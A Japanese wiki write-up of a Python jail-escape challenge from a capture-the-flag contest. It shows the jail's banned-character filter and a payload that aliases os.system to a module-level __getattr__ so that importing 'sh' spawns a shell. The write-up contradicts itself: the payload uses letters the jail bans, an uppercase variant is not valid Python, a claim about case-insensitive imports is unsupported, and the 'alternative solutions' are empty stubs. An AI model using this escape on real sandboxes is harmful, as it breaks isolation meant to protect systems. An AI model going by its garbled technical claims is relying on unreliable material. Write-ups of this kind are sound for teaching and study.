pyjail wiki

Srdnlen CTF 2025 - SSPJ (Super Secure Python Jail)

Challenge

非常に多くの文字が禁止された pyjail。

import re
BANNED = 'mowqbyuhcvzxk0171'
BANNED_SYMBOLS = '.()"\\'={}:[]'
code = input()
for c in code:
if c.lower() in BANNED or c in BANNED_SYMBOLS:
print("Banned!")
exit()
exec(code)

禁止: m, o, w, q, b, y, u, h, c, v, z, x, k, 0, 7, 1, ., (), ", ', \, =, {}, :, []

Solution

from...import...as 構文

括弧、代入、インデックス、関数呼び出しなしでコードを実行:

FROM OS IMPORT SYSTEM AS __GETATTR__
FROM __MAIN__ IMPORT SH

Python は import...as で変数に代入でき、__GETATTR__ を上書きすると属性アクセス時に関数が呼ばれる。

大文字小文字の無視

Python の import 文はファイルシステムに依存するが、内部モジュールは大文字小文字を区別しない場合がある。

完全なペイロード

# 禁止文字を避けた構文
from os import system as __getattr__
from __main__ import sh
# sh がアクセスされると system('sh') が呼ばれる

Technical Details

import...as の仕組み

from module import name as alias
# 内部的に:
# temp = __import__('module')
# alias = getattr(temp, 'name')

__getattr__ のモジュールレベル定義

Python 3.7+ では、モジュールに __getattr__ を定義できる:

module.py
def __getattr__(name):
return f"Accessed: {name}"
# 使用
import module
module.anything # "Accessed: anything"

禁止文字の回避

必要な文字状態
f, r, o, m’o’ は禁止
i, m, p, o, r, t’o’, ‘m’ は禁止

この問題では特殊なバイパスが必要だった可能性がある。

Alternative Solutions

別解1: __init__.py の悪用

# パッケージの __init__ を操作

別解2: sys.modules の操作

# 既存モジュールを上書き

Flag

srdnlen{...}

References